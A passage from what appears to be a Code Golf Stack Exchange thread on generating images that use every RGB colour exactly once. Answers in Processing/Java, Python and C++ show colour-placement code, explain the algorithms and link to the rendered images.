allowedSteps.add(new ImageStep(1, 1)); break; } if ((drawOpts & SHUFFLE_DIRS) != 0) java.util.Collections.shuffle(allowedSteps); } this.randomBlocks = myRandomBlocks; this.changeDir = myChangeDir; } boolean isUsed (int x, int y) { if (wrap) { x = nmod(x, width); y = nmod(y, height); } if (x < 0 || x >= width || y < 0 || y >= height) return true; else return used[y*width+x]; } boolean isUsed (int x, int y, ImageStep d) { return isUsed(x + d.x, y + d.y); } void setUsed (int x, int y) { if (wrap) { x = nmod(x, width); y = nmod(y, height); } used[y*width+x] = true; } boolean isBlockFree (int x, int y, int w, int h) { for (int yy = y; yy < y + h; ++ yy) for (int xx = x; xx < x + w; ++ xx) if (isUsed(xx, yy)) return false; return true; } void drawPath (ArrayList<Integer> path, PGraphics buffer) { if (drawMode == MODE1) drawPath1(path, buffer); else if (drawMode == MODE2) drawPath2(path, buffer); } void drawPath1 (ArrayList<Integer> path, PGraphics buffer) { int w = (int)(sqrt(path.size()) + 0.5); if (w < 1) w = 1; else if (w > width) w = width; int h = (path.size() + w - 1) / w; int x = -1, y = -1; int woff = wrap ? 0 : (1 - w); int hoff = wrap ? 0 : (1 - h); // Try up to 50 times to find a random location for block. if (randomBlocks) { for (int n = 0; n < 50 && x == -1; ++ n) { int xx = (int)random(width + woff); int yy = (int)random(height + hoff); if (isBlockFree(xx, yy, w, h)) { x = xx; y = yy; } } } // If random choice failed just search for one. int starty = firstUnusedY; for (int xx = firstUnusedX; xx < width + woff && x == -1; ++ xx) { for (int yy = starty; yy < height + hoff && x == -1; ++ yy) { if (isBlockFree(xx, yy, w, h)) { firstUnusedX = x = xx; firstUnusedY = y = yy; } } starty = 0; } if (x != -1) { for (int xx = x, pathn = 0; xx < x + w && pathn < path.size(); ++ xx) for (int yy = y; yy < y + h && pathn < path.size(); ++ yy, ++ pathn) { buffer.set(nmod(xx, width), nmod(yy, height), path.get(pathn)); setUsed(xx, yy); } } else { for (int yy = 0, pathn = 0; yy < height && pathn < path.size(); ++ yy) for (int xx = 0; xx < width && pathn < path.size(); ++ xx) if (!isUsed(xx, yy)) { buffer.set(nmod(xx, width), nmod(yy, height), path.get(pathn)); setUsed(xx, yy); ++ pathn; } } } void drawPath2 (ArrayList<Integer> path, PGraphics buffer) { int pathn = 0; while (pathn < path.size()) { int x = -1, y = -1; // pick a random location in the image (try up to 100 times before falling back on search) for (int n = 0; n < 100 && x == -1; ++ n) { int xx = (int)random(width); int yy = (int)random(height); if (!isUsed(xx, yy)) { x = xx; y = yy; } } // original: //for (int yy = 0; yy < height && x == -1; ++ yy) // for (int xx = 0; xx < width && x == -1; ++ xx) // if (!isUsed(xx, yy)) { // x = xx; // y = yy; // } // optimized: if (x == -1) { for (int n = firstUnusedY * width + firstUnusedX; n < used.length; ++ n) { if (!used[n]) { firstUnusedX = x = (n % width); firstUnusedY = y = (n / width); break; } } } // start drawing int dir = 0; while (pathn < path.size()) { buffer.set(nmod(x, width), nmod(y, height), path.get(pathn ++)); setUsed(x, y); int diro; for (diro = 0; diro < allowedSteps.size(); ++ diro) { int diri = (dir + diro) % allowedSteps.size(); ImageStep step = allowedSteps.get(diri); if (!isUsed(x, y, step)) { dir = diri; x += step.x; y += step.y; break; } } if (diro == allowedSteps.size()) break; if (changeDir) ++ dir; } } } void verifyExhausted () { for (int n = 0; n < used.length; ++ n) if (!used[n]) println("UNUSED IMAGE PIXEL: " + (n%width) + " " + (n/width)); } } class Preset { final String name; final int cubeSize; final int maxCubePath; final int maxCubeStep; final int imageWidth; final int imageHeight; final int imageMode; final int imageOpts; final int displayScale; Preset (Preset p, int colorBits) { this(p.name, colorBits, p.maxCubePath, p.maxCubeStep, p.imageMode, p.imageOpts); } Preset (String name, int colorBits, int maxCubePath, int maxCubeStep, int imageMode, int imageOpts) { final int csize[] = new int[]{ 32, 64, 128, 256 }; final int iwidth[] = new int[]{ 256, 512, 2048, 4096 }; final int iheight[] = new int[]{ 128, 512, 1024, 4096 }; final int dscale[] = new int[]{ 2, 1, 1, 1 }; this.name = name; this.cubeSize = csize[colorBits - 5]; this.maxCubePath = maxCubePath; this.maxCubeStep = maxCubeStep; this.imageWidth = iwidth[colorBits - 5]; this.imageHeight = iheight[colorBits - 5]; this.imageMode = imageMode; this.imageOpts = imageOpts; this.displayScale = dscale[colorBits - 5]; } ColorCube createCube () { return new ColorCube(cubeSize, maxCubePath, maxCubeStep); } ImageRect createImage () { return new ImageRect(imageWidth, imageHeight, imageMode, imageOpts); } int getWidth () { return imageWidth; } int getHeight () { return imageHeight; } int getDisplayWidth () { return imageWidth * displayScale * (isWrapped() ? 2 : 1); } int getDisplayHeight () { return imageHeight * displayScale * (isWrapped() ? 2 : 1); } String getName () { return name; } int getCubeSize () { return cubeSize; } boolean isWrapped () { return (imageOpts & ImageRect.WRAP) != 0; } } ``` Here is a full set of 256x128 images that I like: **Mode 1:** My favorite from original set (max\_path\_length=512, path\_step=2, random, displayed 2x, link [256x128](http://s30.postimg.org/gqtujx71t/image.png)): ![enter image description here](https://i.stack.imgur.com/LAjNW.png) Others (left two ordered, right two random, top two path length limited, bottom two unlimitted): ![ordlimit](https://i.stack.imgur.com/HOCNW.png) ![randlimit](https://i.stack.imgur.com/oYDGY.png) ![ordnolimit](https://i.stack.imgur.com/xnEm2.png) ![randnolimit](https://i.stack.imgur.com/Sydy3.png) This one can be tiled: ![randtile](https://i.stack.imgur.com/Z7kEn.png) **Mode 2:** ![diamonds](https://i.stack.imgur.com/cdrpA.png) ![flowers](https://i.stack.imgur.com/mxgiZ.png) ![boxfade](https://i.stack.imgur.com/RKIEf.png) ![diagover](https://i.stack.imgur.com/aMJQZ.png) ![bigdiamonds](https://i.stack.imgur.com/6IMsA.png) ![boxes2](https://i.stack.imgur.com/wox5T.png) ![shards](https://i.stack.imgur.com/Q1LkH.png) These ones can be tiled: ![bigtile](https://i.stack.imgur.com/50ElU.png) ![diamondtile](https://i.stack.imgur.com/v0eMH.png) ![giftwrap](https://i.stack.imgur.com/p50cs.png) **512x512 selections:** Tileable diamonds, my favorite from mode 2; you can see in this one how the paths walk around existing objects: ![enter image description here](https://i.stack.imgur.com/1msnf.png) Larger path step and max path length, tileable: ![enter image description here](https://i.stack.imgur.com/iLEnX.png) Random mode 1, tileable: ![enter image description here](https://i.stack.imgur.com/ts1HA.png) More selections: ![enter image description here](https://i.stack.imgur.com/imq0M.png) ![enter image description here](https://i.stack.imgur.com/mTqh6.png) ![enter image description here](https://i.stack.imgur.com/oHOvJ.png) All of the 512x512 renderings can be found in the dropbox folder (\*\_64.png). **2048x1024 and 4096x4096:** These are too large to embed and all the image hosts I found drop them down to 1600x1200. I'm currently rendering a set of 4096x4096 images so more will be available soon. Instead of including all the links here, just go check them out in the dropbox folder (\*\_128.png and \*\_256.png, note: the 4096x4096 ones are too big for the dropbox previewer, just click "download"). Here are some of my favorites, though: [2048x1024 big tileable diamonds](https://www.dropbox.com/s/j5a9d4v1zkqgyn5/bigtile_128.png) (same one I linked to at start of this post) [2048x1024 diamonds](https://www.dropbox.com/s/vn7sxdthkg5k131/diamonds_128.png) (I love this one!), scaled down: ![enter image description here](https://i.stack.imgur.com/pFDhp.jpg) [4096x4096 big tileable diamonds](https://www.dropbox.com/s/t2jvkxgvcz122r7/bigtile_256.png) (Finally! Click 'download' in Dropbox link; it's too large for their previewer), scaled way down: [![4096x4096 big tileable diamonds](https://i.stack.imgur.com/SPQdz.jpg)](https://dl.dropboxusercontent.com/s/t2jvkxgvcz122r7/bigtile_256.png) [4096x4096 random mode 1](https://www.dropbox.com/s/3g3bavtgjl7339r/randlimit_256.png): ![enter image description here](https://i.stack.imgur.com/WSBOV.jpg) [4096x4096 another cool one](https://www.dropbox.com/s/eu93netbkedx2g8/roughtdiamondstile_256.png) Update: The 2048x1024 preset image set is finished and in the dropbox. The 4096x4096 set should be done within the hour. There's tons of good ones, I'm having a really hard time picking which ones to post, so please check out the folder link! [Answer] ## Python w/ [PIL](http://www.pythonware.com/products/pil/) This is based on a [Newtonian Fractal](http://en.wikipedia.org/wiki/Newton_fractal), specifically for *z → z5 - 1*. Because there are five roots, and thus five convergence points, the available color space is split into five regions, based on Hue. The individual points are sorted first by number of iterations required to reach their convergence point, ~~and then by distance to that point~~, with earlier values being assigned a more luminous color. **Update:** 4096x4096 big renders, hosted on [allrgb.com](https://allrgb.com/). **Update 2:** Because Newton's iteration converges quadratically, it's possible to compute non-integer convergence numbers, by adjusting by the log of the distance to the convergence point, divided by the log of the threshold. This creates a smooth gradient, without any noticeable rings. ![](https://i.stack.imgur.com/woj1Q.png) [Original](https://allrgb.com/newtonian-fractal-1-redux) (44.2 MB) A close-up of the very center (actual size): ![](https://i.stack.imgur.com/xehCm.png) A different vantage point using these values: ``` xstart = 0 ystart = 0 xd = 1 / dim[0] yd = 1 / dim[1] ``` ![](https://i.stack.imgur.com/dPcxv.png) [Original](https://allrgb.com/newtonian-fractal-2-redux) (42.7 MB) And another using these: ``` xstart = 0.5 ystart = 0.5 xd = 0.001 / dim[0] yd = 0.001 / dim[1] ``` ![](https://i.stack.imgur.com/VKngr.png) [Original](https://allrgb.com/newtonian-fractal-3-redux) (43.1 MB) --- **Animation** By request, I've compiled a zoom animation. Focal Point: (*0.50051*, *-0.50051*) Zoom factor: *21/5* The focal point is a slightly odd value, because I didn't want to zoom in on a black dot. The zoom factor is chosen such that it doubles every 5 frames. A 32x32 teaser: ![](https://i.stack.imgur.com/EM2nP.gif) A 256x256 version can be seen here: <http://www.pictureshack.org/images/66172_frac.gif> (5.4MB) There may be points that mathematically zoom in "onto themselves," which would allow for an infinite animation. If I can identify any, I'll add them here. --- **Source** ``` from __future__ import division from PIL import Image, ImageDraw from cmath import phase from sys import maxint from math import log10 dim = (4096, 4096) bits = 8 def RGBtoHSV(R, G, B): R /= 255 G /= 255 B /= 255 cmin = min(R, G, B) cmax = max(R, G, B) dmax = cmax - cmin V = cmax if dmax == 0: H = 0 S = 0 else: S = dmax/cmax dR = ((cmax - R)/6 + dmax/2)/dmax dG = ((cmax - G)/6 + dmax/2)/dmax dB = ((cmax - B)/6 + dmax/2)/dmax if R == cmax: H = (dB - dG)%1 elif G == cmax: H = (1/3 + dR - dB)%1 elif B == cmax: H = (2/3 + dG - dR)%1 return (H, S, V) cmax = (1<<bits)-1 cfac = 255/cmax img = Image.new('RGB', dim) draw = ImageDraw.Draw(img) xstart = -2 ystart = -2 xd = 4 / dim[0] yd = 4 / dim[1] tol = 1e-6 a = [[], [], [], [], []] for x in range(dim[0]): print x, "\r", for y in range(dim[1]): z = d = complex(xstart + x*xd, ystart + y*yd) c = 0.0 l = 1 while abs(l-z) > tol and abs(z) > tol: l = z z -= (z**5-1)/(5*z**4) c += 1.0 if z == 0: c = maxint p = int(phase(z)) if abs(l-z) > 0.0: c += log10(abs(l-z)) / 6 a[p] += (c, x, y), for i in range(5): a[i].sort(reverse = False) pnum = [len(a[i]) for i in range(5)] ptot = dim[0]*dim[1] bounds = [] lbound = 0 for i in range(4): nbound = lbound + pnum[i]/ptot bounds += nbound, lbound = nbound t = [[], [], [], [], []] for i in range(ptot-1, -1, -1): r = (i>>bits*2)*cfac g = (cmax&i>>bits)*cfac b = (cmax&i)*cfac (h, s, v) = RGBtoHSV(r, g, b) h = (h+0.1)%1 if h < bounds[0] and len(t[0]) < pnum[0]: p=0 elif h < bounds[1] and len(t[1]) < pnum[1]: p=1 elif h < bounds[2] and len(t[2]) < pnum[2]: p=2 elif h < bounds[3] and len(t[3]) < pnum[3]: p=3 else: p=4 t[p] += (int(r), int(g), int(b)), for i in range(5): t[i].sort(key = lambda c: c[0]*2126 + c[1]*7152 + c[2]*722, reverse = True) r = [0, 0, 0, 0, 0] for p in range(5): for c,x,y in a[p]: draw.point((x,y), t[p][r[p]]) r[p] += 1 img.save("out.png") ``` [Answer] I got this idea from user fejesjoco's algorithm and wanted to play a bit, so I started to write my own algorithm from scratch. I'm posting this because I feel that if I can make something better\* than the best out of you guys, I don't think this challenge is finished yet. To compare, there are some stunning designs on allRGB that I consider way beyond the level reached here and I have no idea how they did it. \*) will still be decided by votes This algorithm: 1. Start with a (few) seed(s), with colors as close as possible to black. 2. Keep a list of all pixels that are unvisited and 8-connected to a visited point. 3. Select a random\*\* point from that list 4. Calculate the average color of all calculated pixels [Edit ...in a 9x9 square using a Gaussian kernel] ~~8-connected to it (this is the reason why it looks so smooth)~~ If none are found, take black. 5. in a 3x3x3 cube around this color, search for an unused color. * When multple colors are found, take the darkest one. * When multple equally dark colors are found, take a random one out of those. * When nothing is found, update the search range to 5x5x5, 7x7x7, etc. Repeat from 5. 1. Plot pixel, update list and repeat from 3 I also experimented with different probabilities of choosing candidate points based on counting how many visited neighbors the selected pixel has, but it only slowed down the algorithm without making it prettier. The current algorithm doesn't use probabilities and chooses a random point from the list. This causes points with lots of neighbors to quickly fill up, making it just a growing solid ball with a fuzzy edge. This also prevents unavailability of neighboring colors if the crevices were to be filled up later in the process. The image is toroidal. ## Java Download: [`com.digitalmodular` library](https://web.archive.org/web/20160313202909/https://dl.dropboxusercontent.com/u/13260068/com.digitalmodular.zip) ``` package demos; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.IOException; import java.util.Arrays; import com.digitalmodular.utilities.RandomFunctions; import com.digitalmodular.utilities.gui.ImageFunctions; import com.digitalmodular.utilities.swing.window.PixelImage; import com.digitalmodular.utilities.swing.window.PixelWindow; /** * @author jeronimus */ // Date 2014-02-28 public class AllColorDiffusion extends PixelWindow implements Runnable { private static final int CHANNEL_BITS = 7; public static void main(String[] args) { int bits = CHANNEL_BITS * 3; int heightBits = bits / 2; int widthBits = bits - heightBits; new AllColorDiffusion(CHANNEL_BITS, 1 << widthBits, 1 << heightBits); } private final int width; private final int height; private final int channelBits; private final int channelSize; private PixelImage img; private javax.swing.Timer timer; private boolean[] colorCube; private long[] foundColors; private boolean[] queued; private int[] queue; private int queuePointer = 0; private int remaining; public AllColorDiffusion(int channelBits, int width, int height) { super(1024, 1024 * height / width); RandomFunctions.RND.setSeed(0); this.width = width; this.height = height; this.channelBits = channelBits; channelSize = 1 << channelBits; } @Override public void initialized() { img = new PixelImage(width, height); colorCube = new boolean[channelSize * channelSize * channelSize]; foundColors = new long[channelSize * channelSize * channelSize]; queued = new boolean[width * height]; queue = new int[width * height]; for (int i = 0; i < queue.length; i++) queue[i] = i; new Thread(this).start(); } @Override public void resized() {} @Override public void run() { timer = new javax.swing.Timer(500, new ActionListener() { @Override public void actionPerformed(ActionEvent e) { draw(); } }); while (true) { img.clear(0); init(); render(); } // System.exit(0); } private void init() { RandomFunctions.RND.setSeed(0); Arrays.fill(colorCube, false); Arrays.fill(queued, false); remaining = width * height; // Initial seeds (need to be the darkest colors, because of the darkest // neighbor color search algorithm.) setPixel(width / 2 + height / 2 * width, 0); remaining--; } private void render() { timer.start(); for (; remaining > 0; remaining--) { int point = findPoint(); int color = findColor(point); setPixel(point, color); } timer.stop(); draw(); try { ImageFunctions.savePNG(System.currentTimeMillis() + ".png", img.image); } catch (IOException e1) { e1.printStackTrace(); } } void draw() { g.drawImage(img.image, 0, 0, getWidth(), getHeight(), 0, 0, width, height, null); repaintNow(); } private int findPoint() { while (true) { // Time to reshuffle? if (queuePointer == 0) { for (int i = queue.length - 1; i > 0; i--) { int j = RandomFunctions.RND.nextInt(i); int temp = queue[i]; queue[i] = queue[j]; queue[j] = temp; queuePointer = queue.length; } } if (queued[queue[--queuePointer]]) return queue[queuePointer]; } } private int findColor(int point) { int x = point & width - 1; int y = point / width; // Calculate the reference color as the average of all 8-connected // colors. int r = 0; int g = 0; int b = 0; int n = 0; for (int j = -1; j <= 1; j++) { for (int i = -1; i <= 1; i++) { point = (x + i & width - 1) + width * (y + j & height - 1); if (img.pixels[point] != 0) { int pixel = img.pixels[point]; r += pixel >> 24 - channelBits & channelSize - 1; g += pixel >> 16 - channelBits & channelSize - 1; b += pixel >> 8 - channelBits & channelSize - 1; n++; } } } r /= n; g /= n; b /= n; // Find a color that is preferably darker but not too far from the // original. This algorithm might fail to take some darker colors at the // start, and when the image is almost done the size will become really // huge because only bright reference pixels are being searched for. // This happens with a probability of 50% with 6 channelBits, and more // with higher channelBits values. // // Try incrementally larger distances from reference color. for (int size = 2; size <= channelSize; size *= 2) { n = 0; // Find all colors in a neighborhood from the reference color (-1 if // already taken). for (int ri = r - size; ri <= r + size; ri++) { if (ri < 0 || ri >= channelSize) continue; int plane = ri * channelSize * channelSize; int dr = Math.abs(ri - r); for (int gi = g - size; gi <= g + size; gi++) { if (gi < 0 || gi >= channelSize) continue; int slice = plane + gi * channelSize; int drg = Math.max(dr, Math.abs(gi - g)); int mrg = Math.min(ri, gi); for (int bi = b - size; bi <= b + size; bi++) { if (bi < 0 || bi >= channelSize) continue; if (Math.max(drg, Math.abs(bi - b)) > size) continue; if (!colorCube[slice + bi]) foundColors[n++] = Math.min(mrg, bi) << channelBits * 3 | slice + bi; } } } if (n > 0) { // Sort by distance from origin. Arrays.sort(foundColors, 0, n); // Find a random color amongst all colors equally distant from // the origin. int lowest = (int)(foundColors[0] >> channelBits * 3); for (int i = 1; i < n; i++) { if (foundColors[i] >> channelBits * 3 > lowest) { n = i; break; } } int nextInt = RandomFunctions.RND.nextInt(n); return (int)(foundColors[nextInt] & (1 << channelBits * 3) - 1); } } return -1; } private void setPixel(int point, int color) { int b = color & channelSize - 1; int g = color >> channelBits & channelSize - 1; int r = color >> channelBits * 2 & channelSize - 1; img.pixels[point] = 0xFF000000 | ((r << 8 | g) << 8 | b) << 8 - channelBits; colorCube[color] = true; int x = point & width - 1; int y = point / width; queued[point] = false; for (int j = -1; j <= 1; j++) { for (int i = -1; i <= 1; i++) { point = (x + i & width - 1) + width * (y + j & height - 1); if (img.pixels[point] == 0) { queued[point] = true; } } } } } ``` * 512×512 * original 1 seed * 1 second ![enter image description here](https://i.stack.imgur.com/6fJbB.png) * 2048×1024 * slightly tiled to 1920×1080 desktop * 30 seconds * negative in photoshop [![enter image description here](https://i.stack.imgur.com/LmlTg.png)](https://www.dropbox.com/s/1iv69l81du7eb4e/1393627450209desktop.png) * 2048×1024 * 8 seeds * 27 seconds [![enter image description here](https://i.stack.imgur.com/mIibM.png)](https://www.dropbox.com/s/cxjsqq23hkijh5n/1393632034224.png) * 512×512 * 40 random seeds * 6 seconds ![enter image description here](https://i.stack.imgur.com/LhBOK.png) * 4096×4096 * 1 seed * Streaks get significantly sharper (as in they look like they could chop a fish into sashimi) * Looked like it finished in 20 minutes, but ... failed to finish for some reason, so now I'm running 7 instances in parallel overnight. [See below] [Edit] \*\* I discovered that my method of choosing pixels was not totally random at all. I thought having a random permutation of the search space would be random and faster than real random (because a point will not be chosen twice by chance. However somehow, replacing it with real random, I consistently get more noise speckles in my image. [version 2 code removed because I was over the 30,000 character limit] ![enter image description here](https://i.stack.imgur.com/fQ9AN.png) * Increased the initial search cube to 5x5x5 ![enter image description here](https://i.stack.imgur.com/95gxQ.png) * Even bigger, 9x9x9 ![enter image description here](https://i.stack.imgur.com/THD6R.png) * Accident 1. Disabled the permutation so the search space is always linear. ![enter image description here](https://i.stack.imgur.com/roVx3.png) * Accident 2. Tried a new search technique using a fifo queue. Still have to analyze this but I thought it was worth sharing. ![enter image description here](https://i.stack.imgur.com/yTliq.png) * Always choosing within X unused pixels from the center * X ranges from 0 to 8192 in steps of 256 Image can't be uploaded: "Oops! Something Bad Happened! It’s not you, it’s us. This is our fault." Image is just too big for imgur. Trying elsewhere... [![enter image description here](https://i.stack.imgur.com/dscwE.gif)](https://i.stack.imgur.com/dscwE.gif) (source: [gfycat.com](https://giant.gfycat.com/UnconsciousYawningArcticwolf.gif)) Experimenting with a scheduler package I found in the `digitalmodular` library to determine the order in which the pixels are handled (instead of diffusion). ``` package demos; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.IOException; import java.util.Arrays; import com.digitalmodular.utilities.RandomFunctions; import com.digitalmodular.utilities.gui.ImageFunctions; import com.digitalmodular.utilities.gui.schedulers.ScheduledPoint; import com.digitalmodular.utilities.gui.schedulers.Scheduler; import com.digitalmodular.utilities.gui.schedulers.XorScheduler; import com.digitalmodular.utilities.swing.window.PixelImage; import com.digitalmodular.utilities.swing.window.PixelWindow; /** * @author jeronimus */ // Date 2014-02-28 public class AllColorDiffusion3 extends PixelWindow implements Runnable { private static final int CHANNEL_BITS = 7; public static void main(String[] args) { int bits = CHANNEL_BITS * 3; int heightBits = bits / 2; int widthBits = bits - heightBits; new AllColorDiffusion3(CHANNEL_BITS, 1 << widthBits, 1 << heightBits); } private final int width; private final int height; private final int channelBits; private final int channelSize; private PixelImage img; private javax.swing.Timer timer; private Scheduler scheduler = new XorScheduler(); private boolean[] colorCube; private long[] foundColors; public AllColorDiffusion3(int channelBits, int width, int height) { super(1024, 1024 * height / width); this.width = width; this.height = height; this.channelBits = channelBits; channelSize = 1 << channelBits; } @Override public void initialized() { img = new PixelImage(width, height); colorCube = new boolean[channelSize * channelSize * channelSize]; foundColors = new long[channelSize * channelSize * channelSize]; new Thread(this).start(); } @Override public void resized() {} @Override public void run() { timer = new javax.swing.Timer(500, new ActionListener() { @Override public void actionPerformed(ActionEvent e) { draw(); } }); // for (double d = 0.2; d < 200; d *= 1.2) { img.clear(0); init(0); render(); } // System.exit(0); } private void init(double param) { // RandomFunctions.RND.setSeed(0); Arrays.fill(colorCube, false); // scheduler = new SpiralScheduler(param); scheduler.init(width, height); } private void render() { timer.start(); while (scheduler.getProgress() != 1) { int point = findPoint(); int color = findColor(point); setPixel(point, color); } timer.stop(); draw(); try { ImageFunctions.savePNG(System.currentTimeMillis() + ".png", img.image); } catch (IOException e1) { e1.printStackTrace(); } } void draw() { g.drawImage(img.image, 0, 0, getWidth(), getHeight(), 0, 0, width, height, null); repaintNow(); setTitle(Double.toString(scheduler.getProgress())); } private int findPoint() { ScheduledPoint p = scheduler.poll(); // try { // Thread.sleep(1); // } // catch (InterruptedException e) { // } return p.x + width * p.y; } private int findColor(int point) { // int z = 0; // for (int i = 0; i < colorCube.length; i++) // if (!colorCube[i]) // System.out.println(i); int x = point & width - 1; int y = point / width; // Calculate the reference color as the average of all 8-connected // colors. int r = 0; int g = 0; int b = 0; int n = 0; for (int j = -3; j <= 3; j++) { for (int i = -3; i <= 3; i++) { point = (x + i & width - 1) + width * (y + j & height - 1); int f = (int)Math.round(10000 * Math.exp((i * i + j * j) * -0.4)); if (img.pixels[point] != 0) { int pixel = img.pixels[point]; r += (pixel >> 24 - channelBits & channelSize - 1) * f; g += (pixel >> 16 - channelBits & channelSize - 1) * f; b += (pixel >> 8 - channelBits & channelSize - 1) * f; n += f; } // System.out.print(f + "\t"); } // System.out.println(); } if (n > 0) { r /= n; g /= n; b /= n; } // Find a color that is preferably darker but not too far from the // original. This algorithm might fail to take some darker colors at the // start, and when the image is almost done the size will become really // huge because only bright reference pixels are being searched for. // This happens with a probability of 50% with 6 channelBits, and more // with higher channelBits values. // // Try incrementally larger distances from reference color. for (int size = 2; size <= channelSize; size *= 2) { n = 0; // Find all colors in a neighborhood from the reference color (-1 if // already taken). for (int ri = r - size; ri <= r + size; ri++) { if (ri < 0 || ri >= channelSize) continue; int plane = ri * channelSize * channelSize; int dr = Math.abs(ri - r); for (int gi = g - size; gi <= g + size; gi++) { if (gi < 0 || gi >= channelSize) continue; int slice = plane + gi * channelSize; int drg = Math.max(dr, Math.abs(gi - g)); // int mrg = Math.min(ri, gi); long srg = ri * 299L + gi * 436L; for (int bi = b - size; bi <= b + size; bi++) { if (bi < 0 || bi >= channelSize) continue; if (Math.max(drg, Math.abs(bi - b)) > size) continue; if (!colorCube[slice + bi]) // foundColors[n++] = Math.min(mrg, bi) << // channelBits * 3 | slice + bi; foundColors[n++] = srg + bi * 114L << channelBits * 3 | slice + bi; } } } if (n > 0) { // Sort by distance from origin. Arrays.sort(foundColors, 0, n); // Find a random color amongst all colors equally distant from // the origin. int lowest = (int)(foundColors[0] >> channelBits * 3); for (int i = 1; i < n; i++) { if (foundColors[i] >> channelBits * 3 > lowest) { n = i; break; } } int nextInt = RandomFunctions.RND.nextInt(n); return (int)(foundColors[nextInt] & (1 << channelBits * 3) - 1); } } return -1; } private void setPixel(int point, int color) { int b = color & channelSize - 1; int g = color >> channelBits & channelSize - 1; int r = color >> channelBits * 2 & channelSize - 1; img.pixels[point] = 0xFF000000 | ((r << 8 | g) << 8 | b) << 8 - channelBits; colorCube[color] = true; } } ``` * Angular(8) ![enter image description here](https://i.stack.imgur.com/A1xCe.png) * Angular(64) ![enter image description here](https://i.stack.imgur.com/YzXDS.png) * CRT ![enter image description here](https://i.stack.imgur.com/uOpPO.png) * Dither ![enter image description here](https://i.stack.imgur.com/w1CDK.png) * Flower(5, X), where X ranges from 0.5 to 20 in steps of X=X×1.2 [![enter image description here](https://web.archive.org/web/20200427233053/https://giant.gfycat.com/DeficientRegularDalmatian.gif)](https://web.archive.org/web/20200427233053/https://giant.gfycat.com/DeficientRegularDalmatian.gif) * Mod ![enter image description here](https://i.stack.imgur.com/9HgIv.png) * Pythagoras ![enter image description here](https://i.stack.imgur.com/gmTDd.png) * Radial ![enter image description here](https://i.stack.imgur.com/zZMMX.png) * Random ![enter image description here](https://i.stack.imgur.com/kJCnK.png) * Scanline ![enter image description here](https://i.stack.imgur.com/nrquO.png) * Spiral(X), where X ranges from 0.1 to 200 in steps of X=X×1.2 * You can see it ranges in between Radial to Angular(5) ![enter image description here](https://web.archive.org/web/20200427233038/https://giant.gfycat.com/GrandCorruptDogwoodtwigborer.gif) * Split ![enter image description here](https://i.stack.imgur.com/XMmQ8.png) * SquareSpiral ![enter image description here](https://i.stack.imgur.com/3zw5Q.png) * XOR ![enter image description here](https://i.stack.imgur.com/hA9eB.png) ## New eye-food * Effect of color selection by `max(r, g, b)` [![enter image description here](https://i.stack.imgur.com/p0Hch.png)](https://www.dropbox.com/s/jewh7p1dlpr7gbq/1393880791834%20Max.png) * Effect of color selection by `min(r, g, b)` * Notice that this one has exactly the same features/details as the one above, only with different colors! (same random seed) [![enter image description here](https://i.stack.imgur.com/zETcn.png)](https://www.dropbox.com/s/95liwa92026ld2z/1393880713852%20Min.png) * Effect of color selection by `max(r, min(g, b))` ![enter image description here](https://i.stack.imgur.com/gfv8d.png) * Effect of color selection by gray value `299*r + 436*g + 114*b` [![enter image description here](https://i.stack.imgur.com/1cQ25.png)](https://www.dropbox.com/s/ha0dc86z12eiysc/1393880296207%20Min%20rg,%20Max%20b.png) * Effect of color selection by `1*r + 10*g + 100*b` ![enter image description here](https://i.stack.imgur.com/Fa2Vo.png) * Effect of color selection by `100*r + 10*g + 1*b` ![enter image description here](https://i.stack.imgur.com/eewr1.png) * Happy accidents when `299*r + 436*g + 114*b` overflowed in a 32-bit integer ![enter image description here](https://i.stack.imgur.com/DeIAc.png) ![enter image description here](https://i.stack.imgur.com/77Oo3.png) ![enter image description here](https://i.stack.imgur.com/wrTqr.png) * Variant 3, with gray value and Radial scheduler ![enter image description here](https://i.stack.imgur.com/I3fAd.png) * I forgot how I created this ![enter image description here](https://i.stack.imgur.com/Sv4BC.png) * The CRT Scheduler also had a happy integer overflow bug (updated the ZIP), this caused it to start half-way, with 512×512 images, instead of at the center. This is what it's supposed to look like: ![enter image description here](https://i.stack.imgur.com/N2QWv.png) [![enter image description here](https://i.stack.imgur.com/8lFHq.png)](https://www.dropbox.com/s/w1w9im8zcpdj4fr/1393881350789.png) * `InverseSpiralScheduler(64)` (new) [![enter image description here](https://i.stack.imgur.com/0QqYS.png)](https://www.dropbox.com/s/agbvtlhnj2gw3qv/1393881704577%20Spiral%20inverse.png) * Another XOR [![enter image description here](https://i.stack.imgur.com/bW5Q7.png)](https://www.dropbox.com/s/ohdx7xb4r24pltj/1393882082161.png) * First successful 4096 render after the bugfix. I think this was version 3 on `SpiralScheduler(1)` or something [![enter image description here](https://i.stack.imgur.com/N9ND8.png)](https://www.dropbox.com/s/mbn22zbu2ngwban/1393878918242%204096.png) (50MB!!) * Version 1 4096, but I accidentally left the color criteria on `max()` [![enter image description here](https://i.stack.imgur.com/98OL3.png)](https://www.dropbox.com/s/tdadbkt5z64qdlz/1393884676911.png) (50MB!!) * 4096, now with `min()` * Notice that this one has exactly the same features/details as the one above, only with different colors! (same random seed) * Time: forgot to record it but the file timestamp is 3 minutes after the image before [![enter image description here](https://i.stack.imgur.com/IfPSF.png)](https://www.dropbox.com/s/uan1gli8hlqz9i3/1393915197270.png) (50MB!!) [Answer] ## C++ w/ Qt I see you version: ![enter image description here](https://i.stack.imgur.com/g0cEF.png) using normal distribution for the colors: ![enter image description here](https://i.stack.imgur.com/vXIfR.png) ![enter image description here](https://i.stack.imgur.com/F2mab.png) or first sorted by red / hue (with a smaller deviation): ![enter image description here](https://i.stack.imgur.com/WfldG.png) ![enter image description here](https://i.stack.imgur.com/hnQmr.png) or some other distributions: ![enter image description here](https://i.stack.imgur.com/a746K.png) ![enter image description here](https://i.stack.imgur.com/AgYkE.png) Cauchy distribution (hsl / red): ![enter image description here](https://i.stack.imgur.com/wIPX1.png) ![enter image description here](https://i.stack.imgur.com/NVfch.png) sorted cols by lightness (hsl): ![enter image description here](https://i.stack.imgur.com/3zVel.png) updated source code - produces 6th image: ``` int main() { const int c = 256*128; std::vector<QRgb> data(c); QImage image(256, 128, QImage::Format_RGB32); std::default_random_engine gen; std::normal_distribution<float> dx(0, 2); std::normal_distribution<float> dy(0, 1); for(int i = 0; i < c; ++i) { data[i] = qRgb(i << 3 & 0xF8, i >> 2 & 0xF8, i >> 7 & 0xF8); } std::sort(data.begin(), data.end(), [] (QRgb a, QRgb b) -> bool { return QColor(a).hsvHue() < QColor(b).hsvHue(); }); int 